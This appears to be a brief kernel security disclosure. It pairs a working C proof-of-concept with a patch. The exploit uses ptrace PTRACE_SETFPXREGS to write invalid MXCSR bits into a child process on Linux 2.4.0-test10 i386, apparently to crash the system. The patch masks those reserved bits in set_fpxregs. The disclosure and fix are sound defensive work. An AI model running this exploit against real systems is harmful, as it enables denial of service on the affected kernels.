Exploit: struct user_fxsr_struct { unsigned short cwd; unsigned short swd; unsigned short twd; unsigned short fop; long fip; long fcs; long foo; long fos; long mxcsr; long reserved; long st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ long xmm_space[32]; /* 8*16 bytes for each XMM-reg = 128 bytes */ long padding[56]; }; main() { struct user_fxsr_struct fxsr; int pid = fork(); if (pid < 0) perror("fork"), exit(1); else if (!pid) { for (;;) __asm__("fninit"); } if (ptrace(0x10, pid, 0, 0) < 0) perror("attach"), exit(1); memset(&fxsr, 0xff, sizeof(struct user_fxsr_struct)); waitpid(pid, 0, 0); if (ptrace(19, pid, 0, &fxsr)) perror("setfxsr"), exit(1); if (ptrace(0x11, pid, 0, 17) < 0) perror("detach"), exit(1); } Fix: --- 2.4.0-test10/arch/i386/kernel/i387.c Thu Nov 2 20:58:58 2000 +++ PIII/arch/i386/kernel/i387.c Thu Nov 2 18:44:36 2000 @@ -440,8 +436,25 @@ int set_fpxregs( struct task_struct *tsk, struct user_fxsr_struct *buf ) { if ( HAVE_FXSR ) { - __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf, - sizeof(struct user_fxsr_struct) ); + long mxcsr; + + if (__copy_from_user(&tsk->thread.i387.fxsave, (void *)buf, + (long) &((struct user_fxsr_struct *) + 0)->mxcsr)) + return -EFAULT; + if (__get_user(mxcsr, + &((struct user_fxsr_struct *) buf)->mxcsr)) + return -EFAULT; + /* bit 6 and 31-16 must be zero for security reasons */ + mxcsr &= 0xffbf; + tsk->thread.i387.fxsave.mxcsr = mxcsr; + if (__copy_from_user(&tsk->thread.i387.fxsave.reserved, + &((struct user_fxsr_struct *) + buf)->reserved, + sizeof(struct user_fxsr_struct)- + (long) &((struct user_fxsr_struct *) + 0)->reserved)) + return -EFAULT; return 0; } else { return -EIO;